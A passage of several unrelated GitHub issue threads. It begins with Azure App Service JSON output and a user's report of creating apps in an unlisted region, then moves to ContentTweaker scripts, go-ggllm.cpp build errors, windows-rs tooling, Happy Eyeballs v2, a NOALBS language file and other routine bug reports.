      "alwaysOn": null,
      "apiDefinition": null,
      "apiManagementConfig": null,
      "appCommandLine": null,
      "appSettings": null,
      "autoHealEnabled": null,
      "autoHealRules": null,
      "autoSwapSlotName": null,
      "azureMonitorLogCategories": null,
      "azureStorageAccounts": null,
      "connectionStrings": null,
      "cors": null,
      "customAppPoolIdentityAdminState": null,
      "customAppPoolIdentityTenantState": null,
      "defaultDocuments": null,
      "detailedErrorLoggingEnabled": null,
      "documentRoot": null,
      "experiments": null,
      "fileChangeAuditEnabled": null,
      "ftpsState": null,
      "functionsRuntimeScaleMonitoringEnabled": null,
      "handlerMappings": null,
      "healthCheckPath": null,
      "http20Enabled": null,
      "httpLoggingEnabled": null,
      "ipSecurityRestrictions": null,
      "javaContainer": null,
      "javaContainerVersion": null,
      "javaVersion": null,
      "limits": null,
      "linuxFxVersion": null,
      "loadBalancing": null,
      "localMySqlEnabled": null,
      "logsDirectorySizeLimit": null,
      "machineKey": null,
      "managedPipelineMode": null,
      "managedServiceIdentityId": null,
      "metadata": null,
      "minTlsVersion": null,
      "netFrameworkVersion": null,
      "nodeVersion": null,
      "numberOfWorkers": null,
      "phpVersion": null,
      "powerShellVersion": null,
      "preWarmedInstanceCount": null,
      "publishingPassword": null,
      "publishingUsername": null,
      "push": null,
      "pythonVersion": null,
      "remoteDebuggingEnabled": null,
      "remoteDebuggingVersion": null,
      "requestTracingEnabled": null,
      "requestTracingExpirationTime": null,
      "reservedInstanceCount": null,
      "routingRules": null,
      "runtimeADUser": null,
      "runtimeADUserPassword": null,
      "scmIpSecurityRestrictions": null,
      "scmIpSecurityRestrictionsUseMain": null,
      "scmType": null,
      "tracingOptions": null,
      "use32BitWorkerProcess": null,
      "virtualApplications": null,
      "vnetName": null,
      "webSocketsEnabled": null,
      "websiteTimeZone": null,
      "winAuthAdminState": null,
      "winAuthTenantState": null,
      "windowsFxVersion": null,
      "xManagedServiceIdentityId": null
    },
    "slotSwapStatus": null,
    "state": "Running",
    "suspendedTill": null,
    "tags": null,
    "targetSwapSlot": null,
    "trafficManagerHostNames": null,
    "type": "Microsoft.Web/sites",
    "usageState": "Normal"
  },
  {
    "appServicePlanId": "/subscriptions/ffc6d1bc-66b2-4800-8a25-519ea15949f6/resourceGroups/ziraatnewyork/providers/Microsoft.Web/serverfarms/Test12XZ",
    "availabilityState": "Normal",
    "clientAffinityEnabled": true,
    "clientCertEnabled": false,
    "clientCertExclusionPaths": null,
    "cloningInfo": null,
    "containerSize": 0,
    "dailyMemoryTimeQuota": 0,
    "defaultHostName": "test28052020.azurewebsites.net",
    "enabled": true,
    "enabledHostNames": [
      "test28052020.azurewebsites.net",
      "test28052020.scm.azurewebsites.net"
    ],
    "geoDistributions": null,
    "hostNameSslStates": [
      {
        "hostType": "Standard",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "test28052020.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIp": null
      },
      {
        "hostType": "Repository",
        "ipBasedSslResult": null,
        "ipBasedSslState": "NotConfigured",
        "name": "test28052020.scm.azurewebsites.net",
        "sslState": "Disabled",
        "thumbprint": null,
        "toUpdate": null,
        "toUpdateIpBasedSsl": null,
        "virtualIp": null
      }
    ],
    "hostNames": [
      "test28052020.azurewebsites.net"
    ],
    "hostNamesDisabled": false,
    "hostingEnvironmentProfile": null,
    "httpsOnly": false,
    "hyperV": false,
    "id": "/subscriptions/ffc6d1bc-66b2-4800-8a25-519ea15949f6/resourceGroups/ziraatnewyork/providers/Microsoft.Web/sites/Test28052020",
    "identity": null,
    "inProgressOperationId": null,
    "isDefaultContainer": null,
    "isXenon": false,
    "kind": "app",
    "lastModifiedTimeUtc": "2020-05-28T13:11:28.766666",
    "location": "Germany West Central",
    "maxNumberOfWorkers": null,
    "name": "Test28052020",
    "outboundIpAddresses": "<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>",
    "possibleOutboundIpAddresses": "<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>,<IP_ADDRESS>",
    "redundancyMode": "None",
    "repositorySiteName": "Test28052020",
    "reserved": false,
    "resourceGroup": "ziraatnewyork",
    "scmSiteAlsoStopped": false,
    "siteConfig": {
      "acrUseManagedIdentityCreds": false,
      "acrUserManagedIdentityID": null,
      "alwaysOn": null,
      "apiDefinition": null,
      "apiManagementConfig": null,
      "appCommandLine": null,
      "appSettings": null,
      "autoHealEnabled": null,
      "autoHealRules": null,
      "autoSwapSlotName": null,
      "azureMonitorLogCategories": null,
      "azureStorageAccounts": null,
      "connectionStrings": null,
      "cors": null,
      "customAppPoolIdentityAdminState": null,
      "customAppPoolIdentityTenantState": null,
      "defaultDocuments": null,
      "detailedErrorLoggingEnabled": null,
      "documentRoot": null,
      "experiments": null,
      "fileChangeAuditEnabled": null,
      "ftpsState": null,
      "functionsRuntimeScaleMonitoringEnabled": null,
      "handlerMappings": null,
      "healthCheckPath": null,
      "http20Enabled": null,
      "httpLoggingEnabled": null,
      "ipSecurityRestrictions": null,
      "javaContainer": null,
      "javaContainerVersion": null,
      "javaVersion": null,
      "limits": null,
      "linuxFxVersion": null,
      "loadBalancing": null,
      "localMySqlEnabled": null,
      "logsDirectorySizeLimit": null,
      "machineKey": null,
      "managedPipelineMode": null,
      "managedServiceIdentityId": null,
      "metadata": null,
      "minTlsVersion": null,
      "netFrameworkVersion": null,
      "nodeVersion": null,
      "numberOfWorkers": null,
      "phpVersion": null,
      "powerShellVersion": null,
      "preWarmedInstanceCount": null,
      "publishingPassword": null,
      "publishingUsername": null,
      "push": null,
      "pythonVersion": null,
      "remoteDebuggingEnabled": null,
      "remoteDebuggingVersion": null,
      "requestTracingEnabled": null,
      "requestTracingExpirationTime": null,
      "reservedInstanceCount": null,
      "routingRules": null,
      "runtimeADUser": null,
      "runtimeADUserPassword": null,
      "scmIpSecurityRestrictions": null,
      "scmIpSecurityRestrictionsUseMain": null,
      "scmType": null,
      "tracingOptions": null,
      "use32BitWorkerProcess": null,
      "virtualApplications": null,
      "vnetName": null,
      "webSocketsEnabled": null,
      "websiteTimeZone": null,
      "winAuthAdminState": null,
      "winAuthTenantState": null,
      "windowsFxVersion": null,
      "xManagedServiceIdentityId": null
    },
    "slotSwapStatus": null,
    "state": "Running",
    "suspendedTill": null,
    "tags": null,
    "targetSwapSlot": null,
    "trafficManagerHostNames": null,
    "type": "Microsoft.Web/sites",
    "usageState": "Normal"
  }
]

As you can see tLzZxX.azurewebsites.net which I reported initially with test28052020.azurewebsites.net on my list right now.
That's the real reason I reported it to MSRC believed they would realize I can create an app on other region than mine.
I also realized tLzZxX.azurewebsites.net was staying alive when no app service plan was on West Germany Central* region while adding new one today, so I was able to use it freely.
Still I'm not sure if following changes will fix this or not, but wanted to update you regarding this.
Sincerely,
M

@mcipekci 'West Germany Central' has been open to the public since end of January 2020, the region is available for creating Windows Apps & not Linux. Portal defaults you to  linux if you change it to windows + code you will find this region on the list. Also, our API blocks from creating resources on unsupported regions, we verified this on our end. With the fix we made the list of regions b/w portal & CLI is consistent. thanks again for bringing this to our attention.

@panchagnula I see, I mentioned it because it's not visible for me on web portal
 same goes for many others like "Norway West" or many others like. Nonetheless if you say this is normal all is well :).

@panchagnula I see, that makes more sense now after changing to Windows, I was able to see it. Thank you for all your replies, please stay safe and be well.


ItemDestroyedBlock function and AxisAlignedBB trouble

I'm trying to create a test item that replaces a stone block that's broken with the tool with a dirt block instead, but the item doesn't place the dirt to replace it. In addition, I'm trying to make a 1/8 height block but it's also not registering properly. The documentation for ItemDestroyedBlock on the CraftTweaker page is not very clear, what am I doing wrong?
Also, is there a script command for CraftTweaker to give the player an item when 'foo' item is used? The best I can find maybe trying to call a command block command to give a specific player an item, but that doesn't really work for general case things does it? Is there a way to get the player's username if that's the method I have to use?
My code for the item is:
#loader contenttweaker

import mods.contenttweaker.VanillaFactory;
import mods.contenttweaker.ActionResult;
import mods.contenttweaker.BlockState;
import mods.contenttweaker.IItemDestroyedBlock;

var item2 = VanillaFactory.createItem("block changer");

item2.maxStackSize = 1;
item2.maxDamage = 1;
item2.itemDestroyedBlock = function(stack, world, blockState, pos, player) {
    if (blockState == <block:minecraft:stone>) {
        world.setBlockState(<block:minecraft:dirt>, pos);
        stack.damage(1, player);
        return true;
    }

    return false;
};
item2.register();

My code for the block is:
#loader contenttweaker

import mods.contenttweaker.VanillaFactory;
import mods.contenttweaker.Block;
import crafttweaker.item.IItemStack;
import mods.contenttweaker.AxisAlignedBB;

var ashBlock = VanillaFactory.createBlock("ash_block");
ashBlock.setLightOpacity(0);
ashBlock.setLightValue(0);
ashBlock.setToolClass("shovel");
ashBlock.setToolLevel(1);
ashAx = AxisAlignedBB.create(0, 0, 0, 1, 0.125, 1);
ashBlock.axisAlignedBB = ashAx;
ashBlock.register();

Sorry, this answer will be a little longer than my average answer length:
For your replacing issue:
Simple: It does place the dirt. You don't see it though, since the event is called before the block is removed from the world, so the dirt block is removed directly after it has been placed. Try placing the block at some offset to see what I'm talking about.
The block is not registered correctly because you have syntax errors:

createBlock requires a blockType which you didn't provide
You are assigning to ashAx without ever declaring it. Also, you don't need that variable because you only use it once.

Also, you need to change the render model in order for the block to then be rendered correctly, it defaults to full block rendering.
In case you need a little reference:
var ashBlock = VanillaFactory.createBlock("ash_block", <blockMaterial:wood>);
ashBlock.setLightOpacity(0);
ashBlock.setLightValue(0);
ashBlock.setToolClass("shovel");
ashBlock.setToolLevel(1);
ashBlock.axisAlignedBB = AxisAlignedBB.create(0, 0, 0, 1, 0.5, 1);
ashBlock.register();

Now we also need to change resources/contenttweaker/blockstates/ash_block.json
Here's what I used:
{
  "forge_marker": 1,
  "defaults": {
    "textures": {
      "bottom": "blocks/planks_birch",
      "top": "blocks/cobblestone",
      "side": "blocks/stone"
    },
    "model": "half_slab",
    "uvlock": true,
    "transform": "forge:default-block"
  },
  "variants": {
    "normal": [{}],
    "inventory": [{}]
  }
}

Result:

Does it work? Kinda, there are still rendering issues when placed on walls, I just wanted to show an example, I'm not too good with graphics myself, that's why I just used Vanilla models/resources ^^


error: could not convert ‘& lparams’ from ‘falcon_context_params*’ to ‘falcon_context_params’

Hi,
I've just got ggllm.cpp working with GPU offloading and now attempted to use this binding, but hitting this error;
  go-ggllm.cpp git:(master) CGO_LDFLAGS="-lcublas -lcudart -L/usr/local/cuda/lib64/" LIBRARY_PATH=$PWD C_INCLUDE_PATH=$PWD go run ./examples -m "/media/NAS/MLModels/02_LLMs/falcon-40b-instruct-GGML/falcon-40b-instruct.ggccv1.q4_0.bin" -t 14
# github.com/mudler/go-ggllm.cpp
binding.cpp: In function ‘void* falcon_load_model(const char*, int, int, bool, bool, bool, bool, bool, int, int, const char*, const char*)’:
binding.cpp:710:44: error: could not convert ‘& lparams’ from ‘falcon_context_params*’ to ‘falcon_context_params’
  710 |         res = falcon_init_from_file(fname, &lparams);
      |                                            ^~~~~~~~
      |                                            |
      |                                            falcon_context_params*

I ran the following to build;
BUILD_TYPE=cublas make libgglm.a

ok, there is a typo in the docs, the make target is libggllm.a not libgglm.a

...
d build && cp -rf examples/CMakeFiles/falcon_common.dir/falcon_common.cpp.o ../ggllm.cpp/falcon_common.o
g++ -I./ggllm.cpp -I. -I./ggllm.cpp/examples -I./examples -O3 -DNDEBUG -std=c++11 -fPIC -Wall -Wextra -Wpedantic -Wcast-qual -Wno-unused-function -pthread -I./ggllm.cpp -I./ggllm.cpp/examples binding.cpp -o binding.o -c
binding.cpp: In function ‘int falcon_predict(void*, void*, char*, bool)’:
binding.cpp:466:55: warning: cast from type ‘const char*’ to type ‘char*’ casts away qualifiers [-Wcast-qual]
  466 |             if (!returntokenCallback(state_pr, (char*)token_str)) {
      |                                                       ^~~~~~~~~
binding.cpp:515:27: warning: suggest parentheses around ‘&&’ within ‘||’ [-Wparentheses]
  515 |         if (!embd.empty() && embd.back() == falcon_token_eos() || stopword_fulfilled)
      |             ~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
binding.cpp:184:10: warning: unused variable ‘falcon_token_newline’ [-Wunused-variable]
  184 |     auto falcon_token_newline = falcon_token_nl();
      |          ^~~~~~~~~~~~~~~~~~~~
binding.cpp:229:10: warning: variable ‘input_echo’ set but not used [-Wunused-but-set-variable]
  229 |     bool input_echo           = true;
      |          ^~~~~~~~~~
cd build && cp -rf CMakeFiles/ggml.dir/k_quants.c.o ../ggllm.cpp/k_quants.o
cd build && cp -rf CMakeFiles/ggml.dir/ggml-cuda.cu.o ../ggllm.cpp/ggml-cuda.o
cp: cannot stat 'CMakeFiles/ggml.dir/ggml-cuda.cu.o': No such file or directory
make: *** [Makefile:184: ggllm.cpp/ggml-cuda.o] Error 1

ok, that was fun!
I had to remove my gcc/g++ on ubuntu, install g++-8, fix my path again for nvcc


Misc. changes to import library generation tooling

This covers the first 3 points in https://github.com/microsoft/windows-rs/issues/1964#issuecomment-1227046538 and the first commit mentioned in the 4th point, that reduces differences from updating the msvc import libraries variants.

Handle both *_gnu and *_gnullvm import libraries from the same command

If you do this, you need to rerun cargo run -p tool_yml to rebuild the build scripts.

What is the purpose of post processing the libs and is that really necessary?

What is the purpose of post processing the libs

Assuming you use the same MSVC version, it makes the libs reproducible.

What's random is what's in the actual SDK. What's in the import libs provided by windows-rs right now is an actual timestamp of when the tool_msvc tool is run. What's in the import libs generated by raw-dylibs by rust is an zeroed timestamp. Also, these "timestamps" appear nowhere in the binaries linked against those import libraries. I think you're overthinking this. The timestamps that matter more as per @oldnewthing's blog post are those on .dlls and .exes, not import libs.

What's random is what's in the actual SDK.

Well, that's not at all surprising. 🤣 I have no further objections. Thanks for your patience.

We need to zoom out a bit and not assume these timestamps "random" and/or unnecessary. We don't have the data to support those assertions just yet. It's more likely these are internal implementation details (read: hacks) and are actually useful/used in some niche scenario.
I think this latest commit is a great best effort alignment of our generated libs to the official SDK libs, down to the -1!
@glandium Appreciate your patience and compromise.

Can this be merged?

It looks like the gnullvm targets are still there. Should they be removed now?

I'd rather get to that in a followup PR, especially since the modalities haven't been worked out yet.

Thank you.

I opened #2018 for discussion.

Great, thanks for the continued contributions!


Implementing RFC 8305 Happy Eyeballs v2

Hello! I wanted to let you know on Fuchsia we ended up implementing RFC 8305, otherwise known as Happy Eyeballs v2 (see here). The main advantages over RFC 6555 Happy Eyeballs v1 is that v1 can only have a single IPv4 and IPv6 connection requests in flight, but that risks the client stalling out on a black holed address. v2 can have multiple active connections from the same address family to work around this issue.
I'd love to someday upstream it, but I don't currently have the time to figure out how to decouple our implementation from Fuchsia's primitives. The biggest complication is that v2 carries some complex interaction with timers, and our tests leverage the Fuchsia executor's ability to precisely manipulate time to test the various boundary conditions of our implementation. I'm not familiar with tokio/async-std/smol/etc, so I'm not sure if there's a migration process.
I'd be happy to help someone implement the migration in the meantime if someone else needs this functionality.

This would definitely be a good thing to add! I'm less familiar with other runtimes, but tokio::time has pause, advance and resume, which is what I think you're talking about.
Somewhat related, I've wanted to add the ability to provide a custom Timer type, similar to Executor, so that this functionality could exist with other runtimes as well (or even just to customize more).


language issue

I tried to create a file for the Italian language since it has not been added yet, with customized answers based on the streamer the bot will go to, but every time I try to change the language with the new file the bot responds who does not find it
this is the file I created and called it.yml (it's half translated because I was doing some tests)
it:
    start:
        success: PagMan Live On
        error: "Non sono riuscito ad avviare la stream FeelsBadMan : %{error}"
    startTwitchTranscoding:
        trying: Trying to start the stream with transcoding
        successNoTranscoding: Successfully started the stream without transcoding
        success: Started stream with transcoding %{attemptsMessage}
        attempts: ", took %{count} attempts"
    stop:
        success: Stream finita PepeHands
        error: "Error can't stop the stream: %{error}"
    switch:
        noParams: Si ma dimmi la scena homyGa
        success: Sto cambiando la scena homyTurkey "%{scene}"
        error: Non riesco a cambiare alla scena selezionata FeelsBadMan "%{scene}"
    bitrate:
        success: "%{name}: %{message}"
        error: "Nessuna connessione FeelsLagMan"
    trigger:
        success: Soglia di cambio scena cambiata a %{number} Kbps DankG
        successDisabled: Soglia cambio scena disattivata DankG
        error: Error editing trigger %{number} is not a valid value
        current: La soglia di cambio scena e' %{number} Kbps Okayge
        disabled: La soglia di cambio scena e' disabilitata Okayge
    sourceinfo:
        noInfo: No information
        notFound: "Error no server found with the name: %{name}"
    rec:
        started: Recording started
        stopped: Recording stopped
        errorStatus: Error getting recording status
        errorToggle: Error toggling recording
    fix:
        try: Sto cercando di aggiustare questa merda, un attimo DonkChat
        error: Non riesco a fixare la stream FeelsBadMan
    refresh:
        try: Sto refreshando la stream docSpin
        error: Il refresh non e' andato a buon fine FeelsBadMan
        success: Refresh eseguito con successo YEPP
        noScene: Nessuna scena impostata per il refresh, prova ad utilizzare !fix Okayge
    alias:
        success: Added alias %{alias} -> %{command}
        removed: Alias %{alias} removed
        errorCommand: Command %{command} doesn't exist
        errorAlias: Alias %{alias} doesn't exist
        errorAlreadyUsed: "%{alias} already used as alias"
        errorIncorrectArguments: Error incorrect arguments given
    sceneSwitch:
        switch: Scene switched to "%{scene}"
    offlineTimeout:
        timeout: Offline timeout reached, stopping the stream
    handleCommands:
        public: Public commands %{condition}
        mod: Mod commands %{condition}
        notify: Auto switch notification %{condition}
        autostop: Auto stop stream %{condition}
        enabled: is enabled
        disabled: is disabled
    noalbs:
        prefix: NOALBS prefix updated to %{prefix}
        errorPrefix: Can't update NOALBS prefix
        switcherEnabled: Successfully enabled the switcher
        switcherDisabled: Successfully disabled the switcher
        instantSwitch: Instant switch on recover %{condition}
        langError: Can't update NOALBS language
        langErrorInvalid: Error editing language %{lang} is not a valid value
        langSuccess: NOALBS language updated to %{lang}
        retryCount: Current retry set at %{count}
        retryError: Error editing retry attempts %{count} is not a valid value
        retrySuccess: Retry attempts set to %{count}
    scene:
        success: Sto cambiando la scena su %{scene} homyChatting
        error: Non esiste %{scene} nelle scene, controlla di aver scritto correttamente homyTurkey

output:

I don't know if I'm wrong but the procedure should be quite simple from what I know you only need to change from "en" to the desired language.

Can't test v2 right now, but try with different captions. IT and it.
DK should work for sure (At least It did in v1.)

Did you restart the bot after the changes?
(Make sure that the files you edit, is really the files that noalbs is using depending on your setup and installation)
I need to test a bit more if its still an issue.

ok, I also read from another thread that it is necessary to make a pull request with the translated file in the desired language in order for it to be added. At this point my question is: to put a customized language file locally is it necessary to re-download v1 and do everything with that version?

Hi @FkManu ,
The language files are compiled into the binary, so to use a custom language file you will have to compile NOALBS yourself.
If you're adding a language that doesn't exist,  it needs to be added in here: https://github.com/715209/nginx-obs-automatic-low-bitrate-switching/blob/c590e1ee47cd2d8ffa8bf11b64f40ddd14b2222f/src/chat/mod.rs#L99-L147

Hi @FkManu ,
The language files are compiled into the binary, so to use a custom language file you will have to compile NOALBS yourself.
If you're adding a language that doesn't exist, it needs to be added in here:
https://github.com/715209/nginx-obs-automatic-low-bitrate-switching/blob/c590e1ee47cd2d8ffa8bf11b64f40ddd14b2222f/src/chat/mod.rs#L99-L147

thank you very much for your help, after a few attempts I managed to install everything necessary to compile noalbs by myself and I saw that you have also promptly updated to the Italian language, I can also consider the thread solved.


Update service-bus-filter-examples.md

double quote(") was not required.

Looks good; merging now. Thanks for the fix.


how to recover from this error after openplotter update to actual version?

signalk-postgsail
16/08/2024, 23:50:23: statusProcess failed Error: SQLITE_NOTADB: file is not a database
no data in the queue, no successful connection to the server since restart.

I would recommend to remove the SQLITE database $HOME/.signalk/plugin-config-data/signalk-postgsail/postgsail.sqlite3
https://github.com/SignalK/signalk-server/wiki/FAQ:-Frequently-Asked-Questions


ModalPopupExtender issues with CKEditor and Firefox

C#
.Net 4.6.1
CKEditor 4.3
AjaxControlToolKit <IP_ADDRESS>
I have a ajaxToolkit:ModalPopupExtender running on my master page and it opens an email editor which include textboxes for 'to', 'cc' etc
It also has a CKEditor for the body of the email, this works in Chrome and Edge but it causes an error in Firefox.
The console error message states - "TypeError: s is undefined", which links to the ckeditor js file
which in turn errors on " if (!s.checkReadOnly()) {".
Stepping through the file it cannot locate 's'.
The CKEditors work everywhere else on the site and on all browsers.
I've attached a cut down version of the master page.
DevExpress_MP.txt
Any help would be great.

Hello
I checked your code with CKEditor 4.14.0 from https://cdn.ckeditor.com/ in Firefox 75. The popup window opens without any errors.
The only problem I noticed is the absence of btnCloseEmailPopup. Because of this, I had to remove the CancelControlID property value from the markup.


Crashes every so often

Hey, I really like this window manager but it crashes every time I open another window it seems It works for short periods and then crashes when opening a random window.

Hello @Explicit0xt. Thanks for your feedback. I am happy you like it. I am working hard to fix some crash reports. Would you like to become a tester?

Sure I'd be down for testing :) so far the build 1.0.21149.1 you just released seems to be running stable I haven't seen it crash like it was doing before I'll notify you if I find any other bugs thanks for fixing this.

Great this is good to hear. Would you mind join gitter or share a mail? I will share build previews there.

Yeah my email is<EMAIL_ADDRESS>